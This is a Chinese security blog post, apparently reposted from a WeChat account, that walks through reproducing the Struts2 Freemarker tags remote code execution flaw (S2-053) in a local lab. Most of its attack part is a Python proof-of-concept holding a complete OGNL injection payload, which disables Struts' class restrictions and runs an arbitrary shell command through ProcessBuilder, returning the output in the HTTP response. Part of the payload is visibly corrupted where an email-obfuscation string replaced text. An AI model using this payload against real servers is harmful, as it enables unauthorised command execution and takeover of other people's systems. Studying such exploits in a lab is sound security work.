Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现

admin 2021年8月2日20:16:26评论269 views字数 1565阅读5分13秒阅读模式

一.先搭建好测试环境

先下载好XAMPP环境(tomcat8   jdk8 ) 


二.下载有漏洞的war包,下载地址:

http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-053.war


三:将war包放到tomcat的webapp目录下,然后重启一下tomcat

Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现


四.搭建好,访问问题页面

Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现

五:poc 用python脚本跑一下

Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现

import urllib2

import sys

from urllib import quote


def exploit(url):

    #res = requests.get(url, timeout=10)

    

    request = urllib2.Request(url)

    

    body=""

    try :

        response = urllib2.urlopen(request)

        body=response.read()

        print body

    except urllib2.HTTPError, e:

        print(str(e))

        

    


if __name__ == "__main__":

    

    url = "http://192.168.3.175:8080/s2-053/"

    param = "name"

    command = "calc"

    

    payload = "%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    link = "{}/?{}={}".format(url, param, quote(payload))

    print "[*]Generated EXP: {}".format(link)

    print "n[*]Exploiting..."

    exploit(link)


六.最后去服务器看下熟悉的计算器界面弹出了

Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现


本文始发于微信公众号(飓风网络安全):Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月2日20:16:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Struts2 Freemarker tags 远程代码执行漏洞(S2-053)复现https://cn-sec.com/archives/358833.html

发表评论

匿名网友 填写信息